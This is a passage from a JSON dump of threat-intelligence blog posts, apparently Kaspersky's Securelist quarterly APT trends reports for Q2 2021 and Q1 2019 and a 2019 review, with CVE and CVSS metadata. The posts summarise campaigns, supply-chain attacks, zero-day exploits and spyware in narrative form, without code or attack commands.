known attacks has grown more than tenfold. This raises the question of whether this is caused by a rapid replication through removable devices or by an unknown infection vector, such as a watering-hole focusing on the Philippines.\n\nWe recently reported SideCopy campaigns attacking the Windows platform together with Android-based implants. These implants turned out to be multiple applications working as information stealers to collect sensitive information from victims' devices, such as contact lists, SMS messages, call recordings, media and other types of data. Following up, we discovered additional malicious Android applications, some of them purporting to be known messaging apps like Signal or an adult chat platform. These newly discovered applications use the Firebase messaging service as a channel to receive commands. The operator is able to control if either Dropbox or another, hard coded server is used to exfiltrate stolen files.\n\n## Other interesting discoveries\n\nExpanding our research on the exploit targeting CVE-2021-1732, originally discovered by DBAPPSecurity Threat Intelligence Center and used by the Bitter APT group, [we discovered another possible zero-day exploit used in the Asia-Pacific (APAC) region](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>). Interestingly, the exploit was found in the wild as part of a separate framework, alongside CVE-2021-1732 as well as other previously patched exploits. We are highly confident that this framework is entirely unrelated to Bitter APT and was used by a different threat actor. Further analysis revealed that this Escalation of Privilege (EoP) exploit has potentially been used in the wild since at least November 2020. Upon discovery, we reported this new exploit to Microsoft in February. After confirmation that we were indeed dealing with a new zero-day, it received the designation CVE-2021-28310.\n\nVarious marks and artifacts left in the exploit mean that we are also highly confident that CVE-2021-1732 and CVE-2021-28310 were created by the same exploit developer that we track as "Moses". "Moses" appears to be an exploit developer who makes exploits available to several threat actors, based on other past exploits and the actors observed using them. To date, we have confirmed that at least two known threat actors have utilized exploits originally developed by Moses: Bitter APT and Dark Hotel. Based on similar marks and artifacts, as well as privately obtained information from third parties, we believe at least six vulnerabilities observed in the wild in the last two years have originated from "Moses". While the EoP exploit was discovered in the wild, we are currently unable to directly tie its usage to any known threat actor that we are currently tracking. The EoP exploit was probably chained together with other browser exploits to escape sandboxes and obtain system level privileges for further access. Unfortunately, we weren't able to capture a full exploit chain, so we don't know if the exploit is used with another browser zero-day, or coupled with exploits taking advantage of known, patched vulnerabilities.\n\nIn another, more recent investigation into the surge of attacks by APT actors against Exchange servers following the revelation of ProxyLogon and other Exchange vulnerabilities, we took note of one unique cluster of activity. It attracted our attention because the actor behind it seemed to have been active in compromising Exchange servers since at least December 2020, all the while using a toolset that we were not able to associate with any known threat group. During March, several waves of attacks on Exchange servers were made public, partially describing the same cluster of activity that we had observed. One of them, reported by ESET, contained an assessment that the actor behind this activity had access to the Exchange exploits prior to their public release, which aligns with our observations of the early activity of it last year. That said, none of the public accounts described sightings of the full infection chain and later stages of malware deployed as part of this group's operation. Adopting the name Websiic, given publicly to this cluster of activity by ESET, we reported the TTPs of the underlying threat actor. Namely, we focused on the usage of both commodity tools like the China Chopper webshell and a proprietary .NET backdoor used by the group, which we dubbed "Samurai", as well as describing a broader set of targets than the one documented thus far.\n\nOn 15 April, Codecov publicly disclosed that its Bash Uploader script had been compromised and was distributed to users between the 31 January and the 1 April. The Bash Uploader script is publicly distributed by Codecov and aims to gather information on the user's execution environments, collect code coverage reports, and send them to the Codecov infrastructure. As a result, this script compromise effectively constitutes a supply-chain attack. The Bash uploader script is typically executed as a trusted resource in development and testing environments (including as part of automated build processes, such as continuous integration or development pipelines); and its compromise could enable malicious access to infrastructure or account secrets, as well as code repositories and source code. While we haven't been able to confirm the malicious script deployment, retrieve any information on the compromise goals, or identify further associated malicious tools yet, we were able to collect one sample of a compromised Bash uploader script, as well as identify some possibly associated additional malicious servers.\n\nAn e-mail sent by Click Studios to its customers on 22 April informed them that a sophisticated threat actor had gained access to the Passwordstate automatic updating functionality, referred to as the in-place upgrade. Passwordstate is a password management tool for enterprises, and on 20 April, for a period of about 28 hours, a malicious DLL was included in the software updates. On 24 April, an incident management advisory was also released. The purpose of the campaign was to steal passwords stored in the password manager. Although this attack was only active for a short time, we managed to obtain the malicious DLLs and reported our initial findings. Nevertheless, it's still unclear how the attackers gained access to the Passwordstate software to begin with. Following a new advisory published by Click Studio on 28 April, we discovered a new variant of the malicious DLL used to backdoor the Passwordstate password manager. This DLL variant was distributed in a phishing campaign, most likely by the same actor.\n\nA few days after April's Patch Tuesday updates from Microsoft (13 April), a number of suspicious files caught our attention. These files were binaries, disguised as "April 2021 Security Update Installers". They were signed with a valid digital signature, delivering Cobalt Strike beacon modules. It is likely that the modules were signed with a stolen digital certificate. These Cobalt Strike beacon implants were configured with a hardcoded C2, "code.microsoft.com". Contrary to a (now redacted) publication from the Qihoo 360 team revolving around this activity, we can confirm that there was no compromise of Microsoft's infrastructure. In fact, an unauthorized party took over the dangling subdomain "code.microsoft.com" and configured it to resolve to their Cobalt Strike host, setup around 15 April. That domain hosted a Cobalt Strike beacon payload served to HTTP clients using a specific and unique user agent. According to Microsoft and the initial Qihoo notification, the impact in this case was very limited and didn't affect unsuspecting visitors to this website because of the required unique user agent.\n\nOn April 14-15, Kaspersky technologies detected a wave of highly targeted attacks against multiple companies. Closer analysis revealed that all these attacks exploited a chain of Google Chrome and Microsoft Windows zero-day exploits. While we were not able to retrieve the exploit used for Remote Code Execution (RCE) in the Chrome web-browser, we were able to find and analyze an Escalation of Privilege (EoP) exploit used to escape the sandbox and obtain system privileges. The EoP exploit was fine-tuned to work against the latest and the most prominent builds of Windows 10 (17763 - RS5, 18362 - 19H1, 18363 - 19H2, 19041 - 20H1, 19042 - 20H2) and it exploits two distinct vulnerabilities in the Microsoft Windows OS kernel. On April 20, we reported these vulnerabilities to Microsoft and they assigned CVE-2021-31955 to the Information Disclosure vulnerability and CVE-2021-31956 to the EoP vulnerability. Both vulnerabilities were patched on June 8, as a part of the June Patch Tuesday. The exploit-chain attempts to install malware in the system through a dropper. The malware starts as a system service and loads the payload, a "remote shell"-style backdoor which in turns connects to the C2 to get commands. So far, we haven't been able to find any connections or overlaps with a known actor. Therefore, we are tentatively calling this cluster of activity [PuzzleMaker](<https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/>).\n\nOn April 16, we began hearing rumors about active exploitation of Pulse Secure devices from other researchers in the community. One day prior to this, the NSA, CISA, and FBI had jointly published an advisory stating that APT29 was conducting widespread scanning and exploitation of vulnerable systems, including Pulse Secure. For this reason, initial thoughts were that the two were related; and these were just rumors circulating the community about old activity that was being brought to light again. Following this, we were able to at least confirm that the initial rumors were part of a separate set of activities that had occurred between January and March and were not directly related to the advisory mentioned above. This new activity involved the exploitation of at least two vulnerabilities in Pulse Secure; one previously patched and one zero-day (CVE-2021-22893). We also became aware of affected organizations that were notified by a third party that they were potentially compromised by this activity. After exploitation, the threat actor proceeded to deploy a simple webshell to maintain persistence. On May 3, Pulse Secure delivered "out-of-cycle" update and workaround packages to provide a solution for the multiple vulnerabilities.\n\nCooperating with Check Point Research, we discovered an ongoing attack targeting a small group of individuals in Xinjiang and Pakistan, in regions mostly populated by the Uyghur minority. The attackers used malicious executables that collect information about the infected system and attempt to download a second-stage payload. The actor put considerable effort into disguising the payloads, whether by creating delivery documents that appear to be originating from the United Nations using up-to-date related themes, or by setting up websites for non-existing organizations claiming to fund charity groups. In our report, we examined the flow of both infection vectors and provided our analysis of the malicious artifacts we came across during this investigation, even though we were unable to obtain the later stages of the infection chain.\n\n## Final thoughts\n\nWhile the TTPs of some threat actors remain consistent over time, relying heavily on social engineering as a means of gaining a foothold in a target organisation or compromising an individual's device, others refresh their toolsets and extend the scope of their activities. Our regular quarterly reviews are intended to highlight the key developments of APT groups.\n\nHere are the main trends that we've seen in Q2 2021:\n\n * We have reported several supply-chain attacks in recent months.. While some were major and have attracted worldwide attention, we observed equally successful low-tech attacks, such as BountyGlad, CoughingDown and the attack targeting Codecov.\n * APT groups mainly use social engineering to gain an initial foothold in a target network. However, we've seen a rise in APT threat actors leveraging exploits to gain that initial foothold - including the zero-days developed by the exploit developer we call "Moses" and those used in the PuzzleMaker, Pulse Secure attacks and the Exchange server vulnerabilities.\n * APT threat actors typically refresh and update their toolsets: this includes not only the inclusion of new platforms but also the use of additional languages as seen by WildPressure's macOS-supported Python malware.\n * As illustrated by the campaigns of various threat actors - including BountyGlad, HotCousin, GoldenJackal, Scarcruft, Palwan, Pulse Secure and the threat actor behind the WebDav-O/Mail-O implants - geo-politics continues to drive APT developments.\n\nAs always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T10:00:46", "type": "securelist", "title": "APT trends report Q2 2021", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2020-0986", "CVE-2020-1380", "CVE-2021-1732", "CVE-2021-22893", "CVE-2021-28310", "CVE-2021-31955", "CVE-2021-31956"], "modified": "2021-07-29T10:00:46", "id": "SECURELIST:5147443B0EBD7DFCCB942AD0E2F92CCF", "href": "https://securelist.com/apt-trends-report-q2-2021/103517/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T14:29:15", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/08/21082144/abstract-digital-yellow-990x400.jpeg)\n\nFor just under two years, the Global Research and Analysis Team (GReAT) at Kaspersky Lab has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q1 2019.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact 'intelreports@kaspersky.com'.\n\n## The most remarkable finding\n\nTargeting supply-chains has proved very successful for attackers in recent years - [ShadowPad](<https://securelist.com/shadowpad-in-corporate-networks/81432/>), CCleaner and [ExPetr](<https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/>) are good examples. In our threat predictions for 2019, we flagged this as a likely continuing attack vector; and we didn't have to wait very long to see this prediction come true. In January, we discovered a [sophisticated supply-chain attack involving the ASUS Live Update Utility](<https://securelist.com/operation-shadowhammer/89992/>), the mechanism used to deliver BIOS, UEFI and software updates to ASUS laptops and desktops. The attackers behind \"Operation ShadowHammer\" added a backdoor to the utility and then distributed it to users through official channels. The goal of the attack was to target with precision an unknown pool of users, identified by their network adapter MAC addresses. The attackers were found to have hardcoded a list of MAC addresses into the Trojanized samples, representing the true targets of this massive operation. We were able to extract over 600 unique MAC addresses from more than 200 samples discovered in this attack, although it's possible that other samples exist that target different MAC addresses.\n\n## Russian-speaking activity\n\nRussian-speaking groups were not especially active during the first part of the year, with no noteworthy technical or operational changes. However, they continued their non-stop activity in terms of spreading, with a special interest in political activity.\n\nThis was apparent in an attack focused on the Ukraine elections. The attack surfaced after we discovered a malicious Word document targeting a German political advisory organization. This organization, according to its website, \"advises political decision-makers on international politics and foreign and security policy\". Our technical analysis of the attack suggests that the Sofacy or Hades groups are behind it, though we're unable to say for sure which of these groups is responsible.\n\nSuch political interests are not new. Recently, a court in Virginia gave Microsoft control of a group of websites that were intended to look like login sites for a Washington think tank, but are believed to be part of the infrastructure of a \"Russian group suspected in the DNC hack\".\n\nAdditionally, Microsoft revealed that a \"Russian nation-state hacking group\" targeted political organizations engaged in the 2019 European Parliament elections scheduled for the end of May.\n\nOn the technical side, since mid-January we have been tracking an active Turla campaign targeting government bodies in Turkmenistan and Tajikistan. This time the actor delivered its known KopiLuwak JavaScript using new .NET malware, called \"Topinambour\" (aka Sunchoke) by its developers. The Topinambour dropper is delivered along with legitimate software and consists of a tiny .NET shell that waits for Windows shell commands from operators. Interestingly, in this campaign the attackers used different artefacts implemented in JavaScript, .NET and PowerShell - all of them with similar functionality.\n\nWe also published details on how [Zebrocy has added the \"Go\" language to its arsenal](<https://securelist.com/a-zebrocy-go-downloader/89419/>) \u2013 the first time that we have observed a well-known APT threat actor deploy malware with this compiled, open source language. Zebrocy continues to target government-related organizations in Central Asia, both in-country and in remote locations, as well as a new diplomatic target in the Middle East.\n\nFinally, during February 2019 we observed a highly targeted attack in Crimea using a previously unknown malware. The spy program was spread by email and masqueraded as the VPN-client of a well-known Russian security company that, among other things, provides solutions to protect networks. At this point we can't relate this activity to any known actor.\n\n## Chinese-speaking activity\n\nRecent APT trend summaries included analyses of new Chinese-speaking threat actors as well as the resurgence of old activity sets. This has continued into 2019.\n\nIn the early months of 2019, Chinese-speaking actors were the most active, with a traditional interest in targeting different countries in South East Asia. A recent indictment of two Chinese nationals by the US Department of Justice on charges of computer hacking, conspiracy to commit wire fraud and aggravated identity theft, alleged that they were members of the APT10 group, carrying out illegal activity on behalf of the Chinese Ministry of State Security.\n\nSimilarly, CactusPete (aka LoneRanger, Karma Panda, and Tonto Team), is reported to have targeted South Korean, Japanese, US, and Taiwanese organizations in the 2012 - 2014 timeframe. The actor has quite likely relied on much the same codebase and implant variants for the past six years. However these have broadened substantially since 2018. The group spear-phishes its targets, deploys Word and Equation Editor exploits and an appropriated/repackaged DarkHotel VBScript zero-day, delivers modified and compiled unique Mimikatz variants, GSEC and WCE credential stealers, a keylogger, various Escalation of Privilege exploits, various older utilities and an updated set of backdoors, and what appear to be new variants of custom downloader and backdoor modules.\n\nWe have been monitoring a campaign targeting Vietnamese government and diplomatic entities abroad since at least April 2018. We attribute the campaign, which we call \"SpoiledLegacy\", to the LuckyMouse APT group (aka EmissaryPanda and APT27). The operators use penetration testing frameworks such as Cobalt Strike and Metasploit. While we believe that they exploit network services vulnerabilities as their main initial infection vector, we have also seen spear-phishing messages containing decoy documents. We believe that, as in a previous LuckyMouse campaign internal database servers are among the targets. For the last stage of their attack they use different in-memory 32- and 64-bit Trojans injected into system process memory. It is worth highlighting that all the tools in the infection chain dynamically obfuscate Win32 API calls using leaked HackingTeam code.\n\nFireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope, Leviathan and TEMP.Jumper. According to FireEye, the group has conducted operations in support of China's naval modernisation effort since at least 2013, specifically targeting engineering, transportation and defence industries, especially where these sectors overlap with maritime technologies. Recently, FireEye also observed specific targeting of countries strategically important to the \"Belt and Road\" Initiative, including Cambodia, Belgium, Germany, Hong Kong, the Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States and the United Kingdom.\n\nInterestingly, the use of newer ANEL versions by APT10, targeting Japan, allowed us to find similarities between this malware and Emdivi, malware previously used by BlueTermite. This suggests a potential connection between both actors.\n\n## South East Asia and Korean peninsula\n\nOnce again, this seems to be the most active region of the world in terms of APT activity.\n\nIn January, we identified new activity by the Transparent Tribe APT group (aka PROJECTM and MYTHIC LEOPARD), a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets.\n\nIn February, we identified a campaign targeting military organizations, this time in India. We are currently unable to attribute this campaign to any known threat actor. The attackers rely on watering-holes and spear-phishing to infect their victims. Specifically, they were able to compromise a website belonging to a think tank related to warfare studies, using it to host a malicious document that distributed a variant of the Netwire RAT. We also found evidence of a compromised welfare club for military personnel distributing the same malware during the same time period.\n\nOceanLotus was another actor active during this period, using a new downloader called KerrDown, as reported by Palo Alto. The actor was discovered at the beginning of the year using freshly-compiled samples in a new wave of attacks. ESET recently uncovered a new addition to this actor's toolset targeting Mac OS.\n\nIn mid-2018, our report on \"[Operation ](<https://securelist.com/operation-applejeus/87553/>)[AppleJeus](<https://securelist.com/operation-applejeus/87553/>)\" highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges. In this operation, the group used a fake company with a backdoored product aimed at cryptocurrency businesses. One of the key findings was the group's new ability to target Mac OS. Since then, Lazarus has expanded its operations for this platform. Further tracking of the group's activities has enabled us to discover a new operation, active since at least November 2018, which [utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers](<https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/>). Lazarus isn't the only APT group targeting cryptocurrency exchanges. The Kimsuky group has also extended its activities to include individuals and companies in this sector, mainly in South Korea.\n\nFinally, at the start of the year, the South Asian Bitter group used a new simple downloader (called ArtraDownloader by Palo Alto) that delivers the BitterRat Trojan to target organizations in Saudi Arabia and Pakistan.\n\n## Middle East\n\nSurprisingly, during the first months of the year activity in the Middle East has, apparently, been less intense than in the past. Even so, it was the target of several groups already discussed, such as Chafer and Bitter.\n\nWe also observed some activity from Gaza Team and MuddyWater. Still, this can be considered part of their continued targeting of the region, showing nothing new in terms of operational or technical improvements.\n\n## Other interesting discoveries\n\nLate in 2018 we observed a new version of the FinSpy iOS implant in the wild. This is part of FinSpy Mobile, a product provided by the surveillance solutions developer, Gamma Group. FinSpy for iOS implements extensive spyware features that allow someone to track almost everything on infected devices, including keypresses, messages and calls. A big limitation is that the current version can only be installed on jailbroken devices. We believe that Gamma Group does not provide an exploit tool to jailbreak victims' phones, but it provides advice and support to customers on how to do the jailbreaking themselves. Our telemetry shows implant traces in Indonesia and Mongolia. However, due to the large number of Gamma customers, this is probably only a fraction of the victims.\n\nFollowing this research, we discovered a new version for Android also dated circa June 2018. While it is quite similar in terms of functionality, it implements unique capabilities specific to the platform such as obtaining root privileges by abusing the DirtyCow exploit (CVE-2016-5195). Just like the iOS version, this implant has features to exfiltrate data from Instant Messengers including Threema, Signal, Whatsapp and Telegram, as well as internal device information including, but not limited to, emails and SMS messages.\n\nIn February, our [AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in Windows](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) - the fourth consecutive exploited Local Privilege Escalation vulnerability in Windows that we have recently discovered using our technologies. Further analysis led us to uncover a zero-day vulnerability in \"win32k.sys\". We reported this to Microsoft on 22 February. The company confirmed the vulnerability and assigned it CVE-2019-0797. Microsoft released a patch on 12 March 2019, crediting Kaspersky Lab researchers Vasiliy Berdnikov and Boris Larin with the discovery. We believe that this exploit is being used by several threat actors - including, but possibly not limited to, FruityArmor and SandCat. FruityArmor is known to have used zero-days before, while SandCat is a new APT actor that we discovered only recently. The exploit found in the wild was targeting 64-bit operating systems in the Windows 8 to Windows 10 build 15063 range.\n\nFrutiyArmor and SandCat, interestingly, seem to follow parallel paths, both having the same exploits available at the same time. This seems to point to a third party providing both with such artefacts.\n\nRansomware has become an interesting tool for APT actors, as it can be used to delete traces, conduct cyber-sabotage, or as a powerful distraction. There is an interesting wave of ransomware attacks that we have been following, as they seem to be mainly interested in big targets. [LockerGoga](<https://threatpost.com/lockergoga-ransomware-norsk-hydro-wiper/143181/>) recently compromised the systems of Altran, [Norsk Hydro](<https://www.kaspersky.com/blog/hydro-attacked-by-ransomware/26028/>) and other companies. It's unclear who's behind the attacks, what they want and the mechanism used to first infect its victims. It's not even clear if LockerGoga is ransomware or a wiper. The malware encrypts data and displays a ransom asking victims to get in touch to arrange decryption, in return for an (unspecified) payment in bitcoins. However, later versions were observed by researchers that forcibly log victims off infected systems by changing their passwords and removing their ability to log back into the system. In such cases, the victims may not even get to see the ransom note.\n\n## Final thoughts\n\nLooking back at what has happened during the first months of the year is always a surprising experience for us. Even when we have the feeling that \"nothing groundbreaking\" has occurred, we always uncover a threat landscape that is full of many interesting stories and evolution on different fronts.\n\nIf we are to provide a few general highlights, we can conclude that:\n\n * Geopolitics keeps gaining weight as the main driver of APT activity\n * South East Asia is still the most active region of the world in terms of APT activity, but probably this is also related to the \"noise\" that some of the less experienced groups make\n * Russian-speaking groups keep a low profile in comparison with recent years: maybe this is part of internal restructuring, but this is just a hypothesis\n * Chinese-speaking actors maintain a high level of activity, combining low and high sophistication depending on the campaign\n * Providers of \"commercial\" malware available for governments and other entities seem to be doing well, with more customers\n\nIf we are to highlight one thing from the whole period, in our opinion operation ShadowHammer combines several factors that define the current status of APT activity. This is an advanced and targeted campaign using the supply-chain for distribution on an incredibly wide scale. It involves several steps in a combined operation, including the initial collection of MAC addresses for their targets. This seems to be a new trend, as the actor also targeted other victims for malware distribution, showing how worrisome and difficult it is to fight supply-chain attacks.\n\nAs always, this is only our visibility. We always have to keep in mind other sophisticated attacks that happen under our radar, but we continue to try and improve, to uncover every single one of them.", "cvss3": {}, "published": "2019-04-30T10:00:31", "type": "securelist", "title": "APT trends report Q1 2019", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2016-5195", "CVE-2019-0797"], "modified": "2019-04-30T10:00:31", "id": "SECURELIST:6587E154415DCFE54C414013E959C540", "href": "https://securelist.com/apt-trends-report-q1-2019/90643/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-11T13:21:36", "description": "![](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/11/20125702/ksb2019_featured-990x400.jpg)\n\nWhat were the most interesting developments in terms of APT activity during the year and what can we learn from them?\n\nThis is not an easy question to answer, because researchers have only partial visibility and it\u00b4s impossible to fully understand the motivation for some attacks or the developments behind them. However, let\u00b4s try to approach the problem from different angles in order to get a better understanding of what happened with the benefit of hindsight and perspective.\n\n## Compromising supply chains\n\nTargeting supply chains has proved very successful for attackers in recent years \u2013 high-profile examples include [ShadowPad](<https://securelist.com/shadowpad-in-corporate-networks/81432/>), [ExPetr](<https://securelist.com/schroedingers-petya/78870/>) and [the backdooring of CCleaner](<https://www.wired.com/story/ccleaner-malware-targeted-tech-firms/>). In our [threat predictions for 2019](<https://securelist.com/kaspersky-security-bulletin-threat-predictions-for-2019/88878/>), we flagged this as a likely continuing attack vector. We didn't have to wait very long to see this prediction come true.\n\nIn January, we discovered a sophisticated supply-chain attack involving a popular consumer hardware vendor, the mechanism used to deliver BIOS, UEFI and software updates to vendor's laptops and desktops. The attackers behind Operation ShadowHammer added a backdoor to the utility and then distributed it to users through official channels. The goal of the attack was to target with precision an unknown pool of users, identified by their network adapter MAC addresses. The attackers hardcoded a list of MAC addresses into the Trojanized samples, representing the true targets of this massive operation. We were able to extract over 600 unique MAC addresses from more than 200 samples discovered in this attack, although it's possible that other samples exist that target different MAC addresses. You can read our reports on ShadowHammer [here](<https://securelist.com/operation-shadowhammer/89992/>) and [here](<https://securelist.com/operation-shadowhammer-a-high-profile-supply-chain-attack/90380/>).\n\n## Disinformation\n\nQ3 was interesting for APT developments in the Middle East, especially considering the multiple leaks of alleged Iranian activity that were published within just a few weeks of each other. Even more interesting is the possibility that one of the leaks may have been part of a disinformation campaign carried out with the help of the Sofacy/Hades actor.\n\nIn March, someone going by the handle Dookhtegan or Lab_dookhtegan started posting messages on Twitter using the hashtag #apt34. They shared several files via Telegram that supposedly belonged to the OilRig threat actor. These included logins and passwords of several alleged hacking victims, tools, details of infrastructure potentially related to different intrusions, the r\u00e9sum\u00e9s of the alleged attackers and a list of web shells \u2013 apparently relating to the period 2014-18. The targeting and TTPs are consistent with the OilRig threat actor, but it was impossible to confirm the origins of the tools included in the dump. If the data in the dump is accurate, it would also show the global reach of the OilRig group, which most researchers had thought operates primarily in the Middle East.\n\nOn April 22, an entity going by the alias Bl4ck_B0X created a Telegram channel named GreenLeakers. The purpose of the channel, as stated by its creator, was to publish information about the members of the MuddyWater APT group, \"along with information about their mother and spouse and etc.\" for free. In addition to this free information, the Bl4ck_B0X actor(s) also hinted that they would put up for sale \"highly confidential\" information related to MuddyWater. On April 27, three screenshots were posted in the GreenLeakers Telegram channel containing alleged screenshots from a MuddyWater C2 server. On May 1, the channel was closed to the public and its status was changed to private. This was before Bl4ck_B0X had the chance to publish the promised information on the MuddyWater group. The reason for the closure is still unclear.\n\nFinally, a website named Hidden Reality published leaks allegedly related to an entity named the Iranian RANA institute. It was the third leak in two months disclosing details of alleged Iranian threat actors and groups. Interestingly, this leak differed from the others by employing a website that allowed anyone to browse the leaked documents. It also relied on Telegram and Twitter profiles to post messages related to Iranian CNO capabilities. The Hidden Reality website contains internal documents, chat messages and other data related to the RANA institute's CNO (computer network operations) capabilities, as well as information about victims. Previous leaks had focused more on tools, source code and individual actor profiles.\n\nClose analysis of the materials, the infrastructure and the dedicated website used by the leakers provided clues that lead us to believe that Sofacy/Hades may be connected to these leaks.\n\n## Lost in Translation and Dark Universe\n\nThe well-known Shadow Brokers leak, Lost in Translation, included an interesting Python script \u2013 sigs.py \u2013 that contained lots of functions to check if a system had already been compromised by another threat actor. Each check is implemented as a function that looks for a unique signature in the system \u2013 for example, a file with a unique name or registry path. Although some checks are empty, sigs.py lists 44 entries, many of them related to unknown APTs that have not yet been publicly described.\n\nIn 2019, we identified the APT described as the 27th function of the sigs.py file, which we call [DarkUniverse](<https://securelist.com/darkuniverse-the-mysterious-apt-framework-27/94897/>). We assess with medium confidence that DarkUniverse is connected with the ItaDuke set of activities due to unique code overlaps.\n\nThe main component is a rather simple DLL with only one exported function that implements persistence, malware integrity, communication with the C2 and control over other modules. We found about 20 victims in Western Asia and Northeastern Africa, including medical institutions, atomic energy bodies, military organizations and telecommunications companies.\n\n## Mobile attacks\n\nMobile implants are now a standard part of the toolset of many APT groups; and we have seen ample evidence of this during 2019.\n\nIn May, the [FT reported that hackers had exploited a zero-day vulnerability in WhatsApp](<https://www.ft.com/content/4da1117e-756c-11e9-be7d-6d846537acab>), enabling them to eavesdrop on users, read their encrypted chats, turn on the microphone and camera and install spyware that allows even further surveillance. To exploit the vulnerability, the attacker simply needed to call the victim via WhatsApp. This specially crafted call triggered a buffer overflow in WhatsApp, allowing the attacker to take control of the application and execute arbitrary code in it. The hackers apparently used this, not only to snoop on people's chats and calls, but also to exploit previously unknown vulnerabilities in the operating system, which allowed them to install applications on the device. WhatsApp quickly released a patch for the exploit \u2013 and that seemed to be that. However, in October, the company filed a [lawsuit accusing Israel-based NSO Group of having created the exploit](<https://techcrunch.com/2019/10/29/whatsapp-spyware-nso-group/>). WhatsApp claims that the technology sold by NSO was used to target the mobile phones of more than 1,400 of its customers in 20 different countries, including human rights activists, journalists and others. NSO denies the allegations.\n\nIn July, we published a private report about the latest versions of FinSpy for Android and iOS, developed in mid-2018. The developers of FinSpy sell the software to government and law enforcement organizations all over the world, who use it to collect a variety of private user information on various platforms. The mobile implants are similar for iOS and Android. They are capable of collecting personal information such as contacts, messages, emails, calendars, GPS location, photos, files in memory, phone call recordings and data from the most popular messengers. The Android implant includes functionality to gain root privileges on an unrooted device by abusing known vulnerabilities. It seems that the iOS solution does not provide infection exploits for its customers, but is fine-tuned to clean traces of publicly available jailbreaking tools: this suggests that physical access to the victim's device is required in cases where devices are not already jailbroken. The latest version includes multiple features that we have not observed before. During our recent research, we detected up-to-date versions of these implants in the wild in almost 20 countries, but the size of the customer base would suggest that the real number of victims could be much higher.\n\nIn August, Google's Project Zero team published an extensive [analysis of at least 14 iOS zero-days](<https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html>) found in the wild and used in five exploitation chains to escalate privileges by an unknown threat actor. According to Google, the attackers used a number of 'water-holed' websites to deliver the exploits \u2013 possibly from as long as three years ago. While the blog contained no details about the compromised sites, or whether they were still active, Google claimed the websites had received \"thousands of visitors per week\". The lack of victim discrimination points to a relatively non-targeted attack. However, the not-so-high estimate of the number of visitors to the water-holed sites, and the capabilities needed to deliver and install this malware, and keep the exploitation chains up-to-date for more than two years, shows a high level of resources and dedication.\n\nIn September, Zerodium, a zero-day brokerage firm, indicated that a zero-day for Android was now worth more than one for iOS \u2013 the company is now willing to pay $2.5 million for a zero-click Android zero-day with persistence. This is a significant increase on the company's previous payout ceiling of $2 million for remote iOS jailbreaks. By contrast, Zerodium has also reduced payouts for Apple one-click exploits. On the same day, someone found a high-severity zero-day in the v412 (Video4Linux) driver, the Android media driver. This vulnerability, which could enable privilege escalation, was not included in Google's September security update. A few days later, an Android flaw was identified that left more than a billion Samsung, Huawei, LG and Sony smartphones vulnerable to an attack that would allow an attacker to gain full access to emails on a compromised device using an SMS message. Whatever the relative value of Android and iOS exploits, it's clear that mobile exploits are a valuable commodity.\n\n## Established threat actors continue to revamp their tools\n\nWhile investigating some malicious activity in Central Asia, we identified a new backdoor, named Tunnus, which we attribute to Turla. This is.NET-based malware with the ability to run commands or perform file actions on an infected system and send the results to its C2. So far, the threat actor has built its C2 infrastructure with vulnerable WordPress installations.\n\nThis year, Turla also wrapped its notorious JavaScript KopiLuwak malware in a dropper called Topinambour, a new.NET file that the threat actor is using to distribute and drop KopiLuwak through infected installation packages for legitimate software programs such as VPNs. The malware is almost completely 'fileless': the final stage of infection, an encrypted Trojan for remote administration, is embedded into the computer's registry for the malware to access when ready. The group uses two KopiLuwak analogues \u2013 the.NET RocketMan Trojan and the PowerShell MiamiBeach Trojan \u2013 for cyber-espionage; we believe Turla deploys these versions where their targets are protected with security software capable of detecting KopiLuwak.\n\nWe also observed a [new COMpfun-related targeted campaign](<https://securelist.com/compfun-successor-reductor/93633/>) using new malware. The Kaspersky Threat Attribution Engine shows strong code similarities between the new family and the old COMpfun. Moreover, the attackers use the original COMpfun as a downloader in one of the spreading mechanisms. We named the newly identified modules Reductor after a.pdb path left in some of the samples. We 